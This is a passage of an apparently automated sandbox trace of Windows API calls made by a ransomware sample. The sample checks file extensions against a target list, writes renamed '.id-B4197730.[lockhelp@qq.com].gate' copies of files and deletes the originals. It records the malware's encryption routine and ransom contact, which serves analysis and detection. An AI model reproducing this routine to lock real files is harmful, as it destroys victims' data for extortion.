(lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0110.302] lstrlenW (lpString=".zip") returned 4 [0110.302] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0110.302] lstrlenW (lpString=".rar") returned 4 [0110.302] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0110.302] lstrlenW (lpString=".bz2") returned 4 [0110.302] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0110.302] lstrlenW (lpString=".7z") returned 3 [0110.302] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0110.302] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0110.302] lstrlenW (lpString=".dbf") returned 4 [0110.302] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0110.302] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0110.302] lstrlenW (lpString=".1cd") returned 4 [0110.302] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0110.302] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0110.302] lstrlenW (lpString=".jpg") returned 4 [0110.302] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0110.303] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0110.303] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0110.303] lstrlenW (lpString=".doc") returned 4 [0110.303] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0110.303] lstrlenW (lpString=".docx") returned 5 [0110.303] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0110.303] lstrlenW (lpString=".pdf") returned 4 [0110.303] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0110.303] lstrlenW (lpString=".xls") returned 4 [0110.303] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0110.303] lstrlenW (lpString=".xlsx") returned 5 [0110.303] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0110.303] lstrlenW (lpString=".ppt") returned 4 [0110.303] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0110.303] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0110.303] lstrlenW (lpString=".zip") returned 4 [0110.303] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0110.303] lstrlenW (lpString=".rar") returned 4 [0110.303] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0110.304] lstrlenW (lpString=".bz2") returned 4 [0110.305] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0110.305] lstrlenW (lpString=".7z") returned 3 [0110.305] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0110.305] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0110.305] lstrlenW (lpString=".dbf") returned 4 [0110.305] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0110.305] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0110.305] lstrlenW (lpString=".1cd") returned 4 [0110.305] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0110.305] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0110.305] lstrlenW (lpString=".jpg") returned 4 [0110.305] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0110.305] lstrcmpiW (lpString1=".ini", lpString2=".gate") returned 1 [0110.305] lstrlenW (lpString="desktop.ini") returned 11 [0110.305] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0110.305] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=129) returned 1 [0110.306] CloseHandle (hObject=0x2c0) returned 1 [0110.306] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0110.306] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0110.306] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0110.306] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0110.306] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0110.306] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0110.306] GetLastError () returned 0x0 [0110.306] ReadFile (in: hFile=0x2c0, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x81, lpOverlapped=0x0) returned 1 [0110.306] WriteFile (in: hFile=0x310, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x90, lpOverlapped=0x0) returned 1 [0110.307] ReadFile (in: hFile=0x2c0, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0110.307] WriteFile (in: hFile=0x310, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0xea, lpOverlapped=0x0) returned 1 [0110.307] SetEndOfFile (hFile=0x310) returned 1 [0110.308] CloseHandle (hObject=0x310) returned 1 [0110.308] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0110.308] SetEndOfFile (hFile=0x2c0) returned 1 [0110.309] CloseHandle (hObject=0x2c0) returned 1 [0110.309] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x26) returned 1 [0110.309] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 1 [0110.310] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0110.310] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0110.310] lstrlenW (lpString=".doc") returned 4 [0110.310] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0110.310] lstrlenW (lpString=".docx") returned 5 [0110.310] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0110.310] lstrlenW (lpString=".pdf") returned 4 [0110.310] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0110.310] lstrlenW (lpString=".xls") returned 4 [0110.310] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0110.310] lstrlenW (lpString=".xlsx") returned 5 [0110.310] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0110.310] lstrlenW (lpString=".ppt") returned 4 [0110.310] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0110.310] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0110.310] lstrlenW (lpString=".zip") returned 4 [0110.310] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0110.310] lstrlenW (lpString=".rar") returned 4 [0110.310] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0110.310] lstrlenW (lpString=".bz2") returned 4 [0110.310] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0110.310] lstrlenW (lpString=".7z") returned 3 [0110.310] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0110.310] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0110.310] lstrlenW (lpString=".dbf") returned 4 [0110.310] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0110.310] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0110.310] lstrlenW (lpString=".1cd") returned 4 [0110.310] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0110.311] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0110.311] lstrlenW (lpString=".jpg") returned 4 [0110.311] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0110.311] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0110.311] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0110.311] lstrlenW (lpString=".doc") returned 4 [0110.311] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0110.311] lstrlenW (lpString=".docx") returned 5 [0110.311] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0110.311] lstrlenW (lpString=".pdf") returned 4 [0110.311] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0110.311] lstrlenW (lpString=".xls") returned 4 [0110.311] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0110.311] lstrlenW (lpString=".xlsx") returned 5 [0110.311] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0110.311] lstrlenW (lpString=".ppt") returned 4 [0110.311] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0110.311] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0110.311] lstrlenW (lpString=".zip") returned 4 [0110.311] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0110.311] lstrlenW (lpString=".rar") returned 4 [0110.311] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0110.311] lstrlenW (lpString=".bz2") returned 4 [0110.311] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0110.311] lstrlenW (lpString=".7z") returned 3 [0110.311] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0110.311] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0110.311] lstrlenW (lpString=".dbf") returned 4 [0110.311] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0110.312] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0110.312] lstrlenW (lpString=".1cd") returned 4 [0110.312] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0110.312] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini") returned 73 [0110.312] lstrlenW (lpString=".jpg") returned 4 [0110.312] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0110.312] lstrcmpiW (lpString1=".rtf", lpString2=".gate") returned 1 [0110.312] lstrlenW (lpString="eula.rtf") returned 8 [0110.312] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0110.315] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=7567) returned 1 [0110.315] CloseHandle (hObject=0x2c0) returned 1 [0110.315] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 0x80 [0110.315] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0110.315] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0110.316] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0110.316] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0110.316] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0110.360] GetLastError () returned 0x0 [0110.360] ReadFile (in: hFile=0x2c0, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x1d8f, lpOverlapped=0x0) returned 1 [0110.415] WriteFile (in: hFile=0x31c, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x1d90, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x1d90, lpOverlapped=0x0) returned 1 [0110.416] ReadFile (in: hFile=0x2c0, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0110.417] WriteFile (in: hFile=0x31c, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0xe4, lpOverlapped=0x0) returned 1 [0110.417] SetEndOfFile (hFile=0x31c) returned 1 [0110.417] CloseHandle (hObject=0x31c) returned 1 [0110.419] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0110.419] SetEndOfFile (hFile=0x2c0) returned 1 [0110.420] CloseHandle (hObject=0x2c0) returned 1 [0110.421] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0110.421] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 1 [0110.421] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0110.421] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0110.421] lstrlenW (lpString=".doc") returned 4 [0110.421] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0110.421] lstrlenW (lpString=".docx") returned 5 [0110.421] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0110.421] lstrlenW (lpString=".pdf") returned 4 [0110.421] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0110.421] lstrlenW (lpString=".xls") returned 4 [0110.422] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0110.422] lstrlenW (lpString=".xlsx") returned 5 [0110.422] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0110.422] lstrlenW (lpString=".ppt") returned 4 [0110.422] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0110.422] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0110.422] lstrlenW (lpString=".zip") returned 4 [0110.422] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0110.422] lstrlenW (lpString=".rar") returned 4 [0110.422] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0110.422] lstrlenW (lpString=".bz2") returned 4 [0110.422] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0110.422] lstrlenW (lpString=".7z") returned 3 [0110.422] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0110.422] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0110.422] lstrlenW (lpString=".dbf") returned 4 [0110.422] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0110.422] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0110.422] lstrlenW (lpString=".1cd") returned 4 [0110.422] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0110.422] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0110.422] lstrlenW (lpString=".jpg") returned 4 [0110.422] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0110.422] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0110.422] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0110.423] lstrlenW (lpString=".doc") returned 4 [0110.423] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0110.423] lstrlenW (lpString=".docx") returned 5 [0110.423] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0110.423] lstrlenW (lpString=".pdf") returned 4 [0110.423] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0110.423] lstrlenW (lpString=".xls") returned 4 [0110.423] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0110.423] lstrlenW (lpString=".xlsx") returned 5 [0110.423] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0110.423] lstrlenW (lpString=".ppt") returned 4 [0110.423] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0110.423] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0110.423] lstrlenW (lpString=".zip") returned 4 [0110.423] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0110.423] lstrlenW (lpString=".rar") returned 4 [0110.423] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0110.423] lstrlenW (lpString=".bz2") returned 4 [0110.423] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0110.423] lstrlenW (lpString=".7z") returned 3 [0110.423] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0110.423] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0110.423] lstrlenW (lpString=".dbf") returned 4 [0110.423] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0110.423] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0110.423] lstrlenW (lpString=".1cd") returned 4 [0110.423] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0110.423] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0110.424] lstrlenW (lpString=".jpg") returned 4 [0110.424] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0110.424] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0110.424] lstrlenW (lpString="LocalizedData.xml") returned 17 [0110.424] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0110.425] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=74214) returned 1 [0110.425] CloseHandle (hObject=0x2c0) returned 1 [0110.425] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 0x80 [0110.425] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0110.425] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0110.425] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0110.426] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0110.426] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0110.430] GetLastError () returned 0x0 [0110.430] ReadFile (in: hFile=0x2c0, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x121e6, lpOverlapped=0x0) returned 1 [0110.591] WriteFile (in: hFile=0x314, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x121f0, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x121f0, lpOverlapped=0x0) returned 1 [0110.593] ReadFile (in: hFile=0x2c0, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0110.593] WriteFile (in: hFile=0x314, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0xf6, lpOverlapped=0x0) returned 1 [0110.593] SetEndOfFile (hFile=0x314) returned 1 [0110.593] CloseHandle (hObject=0x314) returned 1 [0110.595] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0110.595] SetEndOfFile (hFile=0x2c0) returned 1 [0110.596] CloseHandle (hObject=0x2c0) returned 1 [0110.596] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0110.596] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 1 [0110.597] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0110.597] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0110.597] lstrlenW (lpString=".doc") returned 4 [0110.597] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.597] lstrlenW (lpString=".docx") returned 5 [0110.597] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0110.597] lstrlenW (lpString=".pdf") returned 4 [0110.597] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.597] lstrlenW (lpString=".xls") returned 4 [0110.597] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.597] lstrlenW (lpString=".xlsx") returned 5 [0110.597] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0110.597] lstrlenW (lpString=".ppt") returned 4 [0110.597] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0110.597] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0110.597] lstrlenW (lpString=".zip") returned 4 [0110.597] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0110.597] lstrlenW (lpString=".rar") returned 4 [0110.597] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0110.597] lstrlenW (lpString=".bz2") returned 4 [0110.597] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0110.597] lstrlenW (lpString=".7z") returned 3 [0110.597] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0110.597] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0110.597] lstrlenW (lpString=".dbf") returned 4 [0110.597] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0110.597] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0110.598] lstrlenW (lpString=".1cd") returned 4 [0110.598] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0110.598] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0110.598] lstrlenW (lpString=".jpg") returned 4 [0110.599] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0110.599] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0110.599] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0110.599] lstrlenW (lpString=".doc") returned 4 [0110.599] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.599] lstrlenW (lpString=".docx") returned 5 [0110.599] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0110.599] lstrlenW (lpString=".pdf") returned 4 [0110.599] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0110.599] lstrlenW (lpString=".xls") returned 4 [0110.599] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0110.599] lstrlenW (lpString=".xlsx") returned 5 [0110.599] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0110.599] 